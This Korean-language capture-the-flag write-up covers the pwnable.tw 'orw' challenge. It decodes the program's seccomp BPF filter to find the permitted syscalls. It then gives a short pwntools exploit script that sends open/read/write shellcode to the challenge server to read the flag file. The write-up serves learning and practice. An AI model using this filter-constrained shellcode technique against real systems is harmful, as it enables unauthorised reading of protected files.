

main함수는 다음 순서로 동작한다.orw_seccomp를 호출shellcode라는 변수에 stdin으로 200 byte의 값을 입력shellcode에 저장된 값을 호출
orw_seccomp가 없다면 단순히 shellcode injection 문제가 됐을 것이다.
line 5 ~ line 23을 살펴보면line 14 : in_GS_OFFSET 에 0x14를 더해서 local_20의 값으로 할당한다.line 15 : puVar2는 &DAT_08048640을 가리킨다.line 16 : puVar3는 local_80을 가리킨다.line 17 ~ 21 : puVar3에 puVar2의 값을 모두 복사한다. (총 24 byte)line 22 : local_88 에 0x0c 값을 넣는다.line 23 : local_84 가 local_80을 가리킨다. line 24, 25는 prctl함수를 호출하는 부분이다.
line 24 : prctl( 0x26, 1, 0, 0, 0 )을 호출한다.line 25 : prctl( 0x16, 2, local_88 )을 호출한다.prctl 함수는 링크 에서 확인할 수 있듯이 프로세스에서의 연산을 제어하는 함수이다.
함수의 첫 번째 인자에 관해서는 링크 에서 확인할 수 있다.
prctl( 0x26, 1, 0, 0, 0 )
0x26==38==PR_SET_NO_NEW_PRIVS- 호출한 스레드에 대해 두 번째 인자(
arg2)를no_new_privs bit로 설정한다.- 만약
1이라면,execve()함수로 호출한 작업들에 대해 권한(privileage)을 주지 않음.- 즉,
execve()함수를 사용할 수 없음
prctl( 0x16, 2, local_88 )
0x16==22==PR_SET_SECCOMP- 호출한 스레드에 대해
seccomp모드를 실행함seccomp모드에서는 가능한system call이 제한됨seccomp모드는 두 번째 인자(arg2)를 통해 설정되는데,2는 링크를 통해 확인할 수 있으며,SECCOMP_MODE_FILTER이다.- 이는 세 번째 인자(
arg3)의 값을 참조하여 허용된system call만을 사용할 수 있음을 의미한다.arg3는sock_fprog구조체를 가리키는 포인터이며,sock_fprog는 링크 에 정의되어 있으며, 구조는 아래와 같다.struct sock_filter { /* Filter block */ __u16 code; /* Actual filter code */ __u8 jt; /* Jump true */ __u8 jf; /* Jump false */ __u32 k; /* Generic multiuse field */ }; struct sock_fprog { /* Required for SO_ATTACH_FILTER. */ unsigned short len; /* Number of filter blocks */ struct sock_filter __user *filter; };
- 따라서,
local_88부터 시작되는데이터들을 구조체 형태로 재구성 할 필요가 있다.
prctl(0x16, 2, local_88)을 말로 풀어서 적으면 아래와 같다.
📢
local_88에서 명시한system call만을 허용한다 !
따라서, local_88을 제대로 알아야 이 프로세스(스레드)가 어떻게 동작할지 예상할 수 있다.

스택 주소의 상황을 개념적으로 그리면 아래와 같다.
addr: ----------[EBP-0x88]------------[EBP-0x84]-----------[EBP-0x80]---------
value: ---------[0x0c][0x00]---------[&(EBP-0x80)]----------[DAT_08048640]-------
sock_fprog 구조체에서, 첫 번째 인자는 Number of Filter Blocks이라고 했으므로 0x0c는 필터링되는 systemcall이 총 12개 임을 의미한다.
이제 DAT_08048640을 살펴본다.

sock_filter 구조에 맞게 재구성해본다.
20 00 | 00 | 00 | 04 00 00 00
15 00 | 00 | 09 | 03 00 00 40
20 00 | 00 | 00 | 00 00 00 00
15 00 | 07 | 00 | ad 00 00 00
15 00 | 06 | 00 | 77 00 00 00
15 00 | 05 | 00 | fc 00 00 00
15 00 | 04 | 00 | 01 00 00 00
15 00 | 03 | 00 | 05 00 00 00
15 00 | 02 | 00 | 03 00 00 00
15 00 | 01 | 00 | 04 00 00 00
06 00 | 00 | 00 | 26 00 05 00
06 00 | 00 | 00 | 00 00 ff 7f
12개의 sock_filter 구조의 데이터 덩어리가 생겼다. 이제 각각이 어떤 의미인지 살펴봐야 한다.BPF를 언급하므로, 이에 관해 살펴본다.링크를 통해 sock_filter에서 각 필드 값을 어떻게 해석하면 되는지 알 수 있었다 (thanks to lcy)
링크를 통해 [field] + [class] 형태로 opcode가 만들어지는 것이라 파악했다.
{ opcode, jt, jf, k }
20 00 | 00 | 00 | 04 00 00 00 || ABS LD, 0x04
15 00 | 00 | 09 | 03 00 00 40 || JEQ if not 0x09, 0x040003
20 00 | 00 | 00 | 00 00 00 00 || ABS LD, 0x00
15 00 | 07 | 00 | ad 00 00 00 || JEQ if 0x07, 0xad
15 00 | 06 | 00 | 77 00 00 00 || JEQ if 0x06, 0x77
15 00 | 05 | 00 | fc 00 00 00 || JEQ if 0x05, 0xfc
15 00 | 04 | 00 | 01 00 00 00 || JEQ if 0x04, 0x01
15 00 | 03 | 00 | 05 00 00 00 || JEQ if 0x03, 0x05
15 00 | 02 | 00 | 03 00 00 00 || JEQ if 0x02, 0x03
15 00 | 01 | 00 | 04 00 00 00 || JEQ if 0x01, 0x04
06 00 | 00 | 00 | 26 00 05 00 || return #0x500026
06 00 | 00 | 00 | 00 00 ff 7f || return #0x7fff0000


dump 기능을 이용하면 될 것이라 생각했다.
sys_number가 아래에 해당할 때 ALLOW됨을 알 수 있다(goto 0011 == return ALLOW)rt_sigreturnsigreturnexit_groupexitopenreadwritemain함수에서 쉘코드를 받은 후 실행하는 코드를 넣으면 된다는 점을 생각해보면,read, write, open, exit을 비롯한 상기한 system call들만을 이용해서 쉘코드를 만들면 됨을 알 수 있다.
- 여담으로 위의
rt_sigreturn과sigreturn의 차이가 궁금해서 구글링을 해보니 아래와 같은 자료를 찾았다.- 링크: Stackoverflow
- 정리하면,
rt_sigreturn은sigreturn에서 확장된sigset_t를 지원하기 위해 추가된 것이며, 둘 다 같은 기능을 하는 함수이다.
main에서 대놓고 쉘코드를 실행시켜준다고 명시하고 있기 때문에 취약점이라 부르기 좀 어려워 보인다.conditional shellcode를 작성해본다는 점에서 의미 있는 문제라 생각했다.syscall이 제한되어 있지만, 다행히 문제 소개에서 다음의 힌트를 주고 있어 open, read, write만 있으면 flag를 읽는 것이 어렵지 않음을 알 수 있다.
exploit script의 구성은 아래와 같다.
- [
open]sys_open을 이용해 플래그를 읽어 온다.- [
read]sys_read를 이용해sys_open의 리턴 값(fd)이 담긴EAX레지스터로부터bss영역으로 값을 읽어온다.
- 문제에 등장하는 변수
shellcode도bss영역에 존재한다.- 따라서, 플래그 길이만큼 떨어진 곳의 영역을 이용해보고자 했다.
예:Iflen(flag) == 0x30,Thenusing&shellcode+ 0x30- [
write]sys_write를 이용해 플래그 값을 저장한 영역으로부터stdout으로 값을 출력한다.
pwntools 를 이용해 아래와 같이 exploit script를 작성하고 문제를 해결했다.
from pwn import * #p = process("./orw") p = remote("chall.pwnable.tw", 10001) e = ELF("./orw") shellcode_addr = 0x0804a060 len_flag = 0x50 target_addr = shellcode_addr + len_flag shellcode = shellcraft.open('/home/orw/flag') shellcode += shellcraft.read('eax', target_addr, len_flag) shellcode += shellcraft.write(1, target_addr, len_flag) shellcode = asm(shellcode) p.sendline(shellcode) p.interactive()
이 때, shellcraft는 링크 부분에서 미리 구현된 특정 sys_call에 대한 .asm 파일을 참고하여 어셈블리어를 만들어준다.
shellcraft.read 에서 첫 번째 인자로 eax를 넣어준 이유는 shellcraft.open의 결과(fd)가 eax레지스터에 저장되기 때문이다.
다만, 위에서
len_flag값을0x30으로 바꾸면 문제가 해결되지 않았다.
이는 로컬에서 gdb를 이용하면 파악할 수 있을 것이다.
이에 관해서는 추후 자세히 다뤄보도록 하겠다.